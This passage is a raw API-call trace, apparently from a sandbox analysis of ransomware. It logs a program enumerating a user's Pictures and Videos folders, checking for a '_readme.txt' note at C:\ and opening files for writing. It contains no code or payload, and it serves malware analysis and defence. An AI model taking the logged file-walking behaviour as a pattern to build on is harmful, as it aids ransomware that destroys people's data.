hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d701a0, ftCreationTime.dwHighDateTime=0x1d4c79a, ftLastAccessTime.dwLowDateTime=0x902fe6a0, ftLastAccessTime.dwHighDateTime=0x1d4d026, ftLastWriteTime.dwLowDateTime=0x902fe6a0, ftLastWriteTime.dwHighDateTime=0x1d4d026, nFileSizeHigh=0x0, nFileSizeLow=0x17cac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bPu-.png", cAlternateFileName="")) returned 1 [0066.682] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x434e0070, ftCreationTime.dwHighDateTime=0x1d4c5a8, ftLastAccessTime.dwLowDateTime=0x599e2e00, ftLastAccessTime.dwHighDateTime=0x1d4d2d6, ftLastWriteTime.dwLowDateTime=0x599e2e00, ftLastWriteTime.dwHighDateTime=0x1d4d2d6, nFileSizeHigh=0x0, nFileSizeLow=0x13cff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j-PQ.jpg", cAlternateFileName="")) returned 1 [0066.682] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa246bcf0, ftCreationTime.dwHighDateTime=0x1d4c82f, ftLastAccessTime.dwLowDateTime=0xfad43140, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0xfad43140, ftLastWriteTime.dwHighDateTime=0x1d4d1d0, nFileSizeHigh=0x0, nFileSizeLow=0xfb8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O1JQviCY05VrmDz2PZWI.png", cAlternateFileName="O1JQVI~1.PNG")) returned 1 [0066.682] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa246bcf0, ftCreationTime.dwHighDateTime=0x1d4c82f, ftLastAccessTime.dwLowDateTime=0xfad43140, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0xfad43140, ftLastWriteTime.dwHighDateTime=0x1d4d1d0, nFileSizeHigh=0x0, nFileSizeLow=0xfb8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O1JQviCY05VrmDz2PZWI.png", cAlternateFileName="O1JQVI~1.PNG")) returned 0 [0066.682] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.682] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\") returned="LlZj-da3Lc0SAD\\" [0066.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0066.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.683] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.683] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.683] PathFindFileNameW (pszPath="") returned="" [0066.683] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c64280, ftCreationTime.dwHighDateTime=0x1d4cdba, ftLastAccessTime.dwLowDateTime=0x41307b50, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0x41307b50, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c64280, ftCreationTime.dwHighDateTime=0x1d4cdba, ftLastAccessTime.dwLowDateTime=0x41307b50, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0x41307b50, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e45c70, ftCreationTime.dwHighDateTime=0x1d4cddc, ftLastAccessTime.dwLowDateTime=0x36b685b0, ftLastAccessTime.dwHighDateTime=0x1d4d56d, ftLastWriteTime.dwLowDateTime=0x36b685b0, ftLastWriteTime.dwHighDateTime=0x1d4d56d, nFileSizeHigh=0x0, nFileSizeLow=0xefe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COFUGhxhYso60.gif", cAlternateFileName="COFUGH~1.GIF")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2eb6a0, ftCreationTime.dwHighDateTime=0x1d4cbf6, ftLastAccessTime.dwLowDateTime=0x8927f30, ftLastAccessTime.dwHighDateTime=0x1d4d267, ftLastWriteTime.dwLowDateTime=0x8927f30, ftLastWriteTime.dwHighDateTime=0x1d4d267, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cplLZefa0txn", cAlternateFileName="CPLLZE~1")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa24a54b0, ftCreationTime.dwHighDateTime=0x1d4cac7, ftLastAccessTime.dwLowDateTime=0x51e74ee0, ftLastAccessTime.dwHighDateTime=0x1d4d1e0, ftLastWriteTime.dwLowDateTime=0x51e74ee0, ftLastWriteTime.dwHighDateTime=0x1d4d1e0, nFileSizeHigh=0x0, nFileSizeLow=0x1505e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hGyi-Cb.jpg", cAlternateFileName="")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe921a6e0, ftCreationTime.dwHighDateTime=0x1d4cc25, ftLastAccessTime.dwLowDateTime=0x2dd3df70, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x2dd3df70, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JI_LbGFKzAkfRhFEM", cAlternateFileName="JI_LBG~1")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd1f050, ftCreationTime.dwHighDateTime=0x1d4c963, ftLastAccessTime.dwLowDateTime=0x4afeea90, ftLastAccessTime.dwHighDateTime=0x1d4d26f, ftLastWriteTime.dwLowDateTime=0x4afeea90, ftLastWriteTime.dwHighDateTime=0x1d4d26f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kC1ICfT8pFYQG", cAlternateFileName="KC1ICF~1")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2cd1660, ftCreationTime.dwHighDateTime=0x1d4c7b2, ftLastAccessTime.dwLowDateTime=0x41cdc5b0, ftLastAccessTime.dwHighDateTime=0x1d4d1b4, ftLastWriteTime.dwLowDateTime=0x41cdc5b0, ftLastWriteTime.dwHighDateTime=0x1d4d1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="njXXDQ38ulMrkg_7vJ", cAlternateFileName="NJXXDQ~1")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd769ae0, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xfe86f120, ftLastAccessTime.dwHighDateTime=0x1d4cf40, ftLastWriteTime.dwLowDateTime=0xfe86f120, ftLastWriteTime.dwHighDateTime=0x1d4cf40, nFileSizeHigh=0x0, nFileSizeLow=0x2670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VWPZkESw1UhD8UaF6.bmp", cAlternateFileName="VWPZKE~1.BMP")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd769ae0, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xfe86f120, ftLastAccessTime.dwHighDateTime=0x1d4cf40, ftLastWriteTime.dwLowDateTime=0xfe86f120, ftLastWriteTime.dwHighDateTime=0x1d4cf40, nFileSizeHigh=0x0, nFileSizeLow=0x2670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VWPZkESw1UhD8UaF6.bmp", cAlternateFileName="VWPZKE~1.BMP")) returned 0 [0066.683] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.683] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\") returned="mwC61ttLhFHO7U8H\\" [0066.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0066.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.684] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.684] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.684] PathFindFileNameW (pszPath="") returned="" [0066.684] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad20ffc0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x8cce6d0, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x8cce6d0, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.684] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad20ffc0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x8cce6d0, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x8cce6d0, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.684] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1afaf0, ftCreationTime.dwHighDateTime=0x1d4c6b7, ftLastAccessTime.dwLowDateTime=0xc128bc40, ftLastAccessTime.dwHighDateTime=0x1d4c62c, ftLastWriteTime.dwLowDateTime=0xc128bc40, ftLastWriteTime.dwHighDateTime=0x1d4c62c, nFileSizeHigh=0x0, nFileSizeLow=0xa72e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E_wjAqxP.jpg", cAlternateFileName="")) returned 1 [0066.684] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16c9d2a0, ftCreationTime.dwHighDateTime=0x1d4d119, ftLastAccessTime.dwLowDateTime=0x92c266b0, ftLastAccessTime.dwHighDateTime=0x1d4cf89, ftLastWriteTime.dwLowDateTime=0x92c266b0, ftLastWriteTime.dwHighDateTime=0x1d4cf89, nFileSizeHigh=0x0, nFileSizeLow=0x1043e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJWwPgUE-XZJ6.png", cAlternateFileName="MJWWPG~1.PNG")) returned 1 [0066.684] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f1af3e0, ftCreationTime.dwHighDateTime=0x1d4ccce, ftLastAccessTime.dwLowDateTime=0x10c6e0a0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0x10c6e0a0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W20eWw_7BDOqTilgo1fv", cAlternateFileName="W20EWW~1")) returned 1 [0066.684] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f7d600, ftCreationTime.dwHighDateTime=0x1d4c54a, ftLastAccessTime.dwLowDateTime=0x172f9590, ftLastAccessTime.dwHighDateTime=0x1d4ce35, ftLastWriteTime.dwLowDateTime=0x172f9590, ftLastWriteTime.dwHighDateTime=0x1d4ce35, nFileSizeHigh=0x0, nFileSizeLow=0xab8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z0-FTm5ZigO3Mdrkmc.jpg", cAlternateFileName="Z0-FTM~1.JPG")) returned 1 [0066.684] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f7d600, ftCreationTime.dwHighDateTime=0x1d4c54a, ftLastAccessTime.dwLowDateTime=0x172f9590, ftLastAccessTime.dwHighDateTime=0x1d4ce35, ftLastWriteTime.dwLowDateTime=0x172f9590, ftLastWriteTime.dwHighDateTime=0x1d4ce35, nFileSizeHigh=0x0, nFileSizeLow=0xab8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z0-FTm5ZigO3Mdrkmc.jpg", cAlternateFileName="Z0-FTM~1.JPG")) returned 0 [0066.684] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.684] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\") returned="qHy Bq3sd4UO\\" [0066.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0066.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.684] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.684] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.684] PathFindFileNameW (pszPath="") returned="" [0066.685] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.685] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.685] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb5a8eb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0x9b3bef10, ftLastAccessTime.dwHighDateTime=0x1d4cfba, ftLastWriteTime.dwLowDateTime=0x9b3bef10, ftLastWriteTime.dwHighDateTime=0x1d4cfba, nFileSizeHigh=0x0, nFileSizeLow=0xdfd9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CSSjndh.png", cAlternateFileName="")) returned 1 [0066.685] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0daf240, ftCreationTime.dwHighDateTime=0x1d4ca1b, ftLastAccessTime.dwLowDateTime=0x7b2f10, ftLastAccessTime.dwHighDateTime=0x1d4cdd8, ftLastWriteTime.dwLowDateTime=0x7b2f10, ftLastWriteTime.dwHighDateTime=0x1d4cdd8, nFileSizeHigh=0x0, nFileSizeLow=0x16e6d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRyCH41NNCvFGT-d.gif", cAlternateFileName="DRYCH4~1.GIF")) returned 1 [0066.685] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76735790, ftCreationTime.dwHighDateTime=0x1d4cd08, ftLastAccessTime.dwLowDateTime=0x16508f80, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x16508f80, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g5F7NFHxCw.png", cAlternateFileName="G5F7NF~1.PNG")) returned 1 [0066.685] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76735790, ftCreationTime.dwHighDateTime=0x1d4cd08, ftLastAccessTime.dwLowDateTime=0x16508f80, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x16508f80, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g5F7NFHxCw.png", cAlternateFileName="G5F7NF~1.PNG")) returned 0 [0066.685] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.685] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0066.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0066.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.685] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.685] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.685] PathFindFileNameW (pszPath="") returned="" [0066.685] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4421dc80, ftCreationTime.dwHighDateTime=0x1d4cadd, ftLastAccessTime.dwLowDateTime=0x3f681780, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x3f681780, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.686] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4421dc80, ftCreationTime.dwHighDateTime=0x1d4cadd, ftLastAccessTime.dwLowDateTime=0x3f681780, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x3f681780, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.686] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12dbc2c0, ftCreationTime.dwHighDateTime=0x1d4c598, ftLastAccessTime.dwLowDateTime=0x49d8bab0, ftLastAccessTime.dwHighDateTime=0x1d4cfa9, ftLastWriteTime.dwLowDateTime=0x49d8bab0, ftLastWriteTime.dwHighDateTime=0x1d4cfa9, nFileSizeHigh=0x0, nFileSizeLow=0x6524, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IwZE-JTO3c1j.swf", cAlternateFileName="IWZE-J~1.SWF")) returned 1 [0066.686] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0080d0, ftCreationTime.dwHighDateTime=0x1d4c87e, ftLastAccessTime.dwLowDateTime=0x38cd3c40, ftLastAccessTime.dwHighDateTime=0x1d4d2f2, ftLastWriteTime.dwLowDateTime=0x38cd3c40, ftLastWriteTime.dwHighDateTime=0x1d4d2f2, nFileSizeHigh=0x0, nFileSizeLow=0x3943, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msa0S6oHJtcg43Ia1l2.mp4", cAlternateFileName="MSA0S6~1.MP4")) returned 1 [0066.686] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8fd690, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0xd3b4980, ftLastAccessTime.dwHighDateTime=0x1d4ce03, ftLastWriteTime.dwLowDateTime=0xd3b4980, ftLastWriteTime.dwHighDateTime=0x1d4ce03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pmee", cAlternateFileName="")) returned 1 [0066.686] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.686] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.686] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.686] PathFindFileNameW (pszPath="") returned="" [0066.686] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.687] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.687] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.687] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.687] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0066.687] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0066.687] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x31bee60 [0066.687] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0066.687] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0066.687] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.689] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0066.689] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0066.689] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0066.689] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.689] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.689] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602a8 [0066.689] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.690] HeapFree (in: 